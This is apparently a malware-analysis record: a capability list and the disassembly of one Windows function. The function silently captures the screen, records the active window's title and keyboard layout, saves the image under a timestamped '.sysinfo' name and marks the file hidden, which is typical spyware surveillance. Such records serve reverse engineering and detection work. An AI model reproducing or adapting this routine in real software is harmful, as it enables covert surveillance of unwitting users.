Function at 0x140006d30
Capabilities:
Capture screenshot
Check if file exists
Get file attributes
Get graphical window text
Get keyboard layout
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x340]
sub rsp, 0x440
mov rax, qword [0x1400840e0]
xor rax, rsp
mov qword [rbp + 0x330], rax
mov rsi, rdx
xor r13d, r13d
mov dword [rsp + 0x68], r13d
mov dword [rbp - 0x50], 1
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x58]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
lea ecx, [r13 + 1]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r15, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r12, rax
mov r8d, ebx
mov edx, edi
mov rcx, r15
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r14, rax
mov rdx, rax
mov rcx, r12
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], ebx
mov r9d, edi
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.GDI32.dll_BitBlt]
call fcn.140017d8c
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp - 0x60], rdx
lea rdx, [rbp - 0x60]
lea rcx, [rbp]
call fcn.1400427d4
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x30]
call fcn.14003dc40
lea rcx, [rbp + 0x30]
call fcn.14000a240
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rbx, rax
test rax, rax
je 0x140006e92
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r8d, 0x100
lea rdx, [rbp + 0x130]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rax, [rbp]
mov qword [rsp + 0x50], rax
lea rax, str._d__m__y__H__M__S
mov qword [rsp + 0x58], rax
nop word [rax + rax]
add rax, 2
cmp word [rax], 0
jne 0x140006eb0
mov qword [rsp + 0x60], rax
mov rdx, rsi
cmp qword [rsi + 0x18], 8
jb 0x140006ecc
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rbp + 0x40]
call fcn.140016680
lea rdx, [0x14007794c]
mov rcx, rax
call fcn.1400127f0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140013160
mov rcx, rax
lea rdx, str..sysinfo
call fcn.1400127f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r13w
mov dword [rsp + 0x68], 2
mov rcx, qword [rbp + 0xb8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140006f5d
mov rax, qword [rbp + 0x88]
mov rdx, qword [rax]
test rdx, rdx
je 0x140006f5d
mov rax, qword [rbp + 0x68]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0xb0]
cmovb rdx, qword [rbp + 0xb0]
jmp 0x140006f86
test cl, 4
jne 0x140006fc0
mov rax, qword [rbp + 0x80]
mov rdx, qword [rax]
test rdx, rdx
je 0x140006fc0
mov rax, qword [rbp + 0x60]
mov r9, qword [rax]
mov rax, qword [rbp + 0x98]
movsxd rcx, dword [rax]
lea rdx, [rdx + rcx*2]
sub rdx, r9
mov rax, r9
sar rdx, 1
test rax, rax
je 0x140006fc0
lea rcx, [rsp + 0x78]
cmp rdx, 7
ja 0x140006fba
mov qword [rbp - 0x78], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.14003d5a0
mov word [rsp + rbx + 0x78], r13w
jmp 0x140006fc0
call fcn.140014740
nop
mov dword [rsp + 0x68], r13d
mov dword [rsp + 0x70], r13d
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x68]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x140007070
mov ecx, eax
call fcn.14004b068
mov rbx, rax
test rax, rax
je 0x140007070
mov r8, rax
mov edx, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x68]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
mov r8d, r13d
mov r10d, dword [rsp + 0x68]
test r10d, r10d
je 0x140007068
lea r11, [0x140077950]
nop word [rax + rax]
mov eax, r8d
imul r9, rax, 0x68
mov rdx, qword [r9 + rbx + 0x40]
mov rax, 0xffffffffffffffff
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r11 + rax*2 + 2]
jne 0x140007055
add rax, 2
cmp rax, 0xb
je 0x14000705f
movzx ecx, word [rdx + rax*2]
cmp cx, word [r11 + rax*2]
je 0x140007033
inc r8d
cmp r8d, r10d
jae 0x140007068
jmp 0x140007020
movups xmm0, xmmword [r9 + rbx]
movups xmmword [rbp - 0x10], xmm0
mov rcx, rbx
call fcn.14004994c
mov ecx, 0x18
call qword [sym.imp.gdiplus.dll_GdipAlloc]
mov rbx, rax
mov qword [rsp + 0x68], rax
test rax, rax
je 0x1400070c1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
lea rax, vtable.Gdiplus::Bitmap.0
mov qword [rbx], rax
mov qword [rsp + 0x68], r13
lea r8, [rsp + 0x68]
xor edx, edx
mov rcx, r14
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov dword [rbx + 0x10], eax
mov rax, qword [rsp + 0x68]
mov qword [rbx + 8], rax
jmp 0x1400070c4
mov rbx, r13
mov dword [rbp - 0x68], 0x28
mov dword [rbp - 0x38], 1
movups xmm0, xmmword [0x14006d0e0]
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x1c], 4
mov dword [rbp - 0x20], 1
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x10]
mov rcx, qword [rbx + 8]
call qword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
test eax, eax
je 0x14000711c
mov dword [rbx + 0x10], eax
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140007186
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rcx, qword [rsp + 0x78]
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x1400071c3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400071be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000720e
call fcn.14003b660
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r13w
lea rcx, [rbp + 0x30]
call fcn.1400069e0
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.14003b640
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14004aff0
nop
int3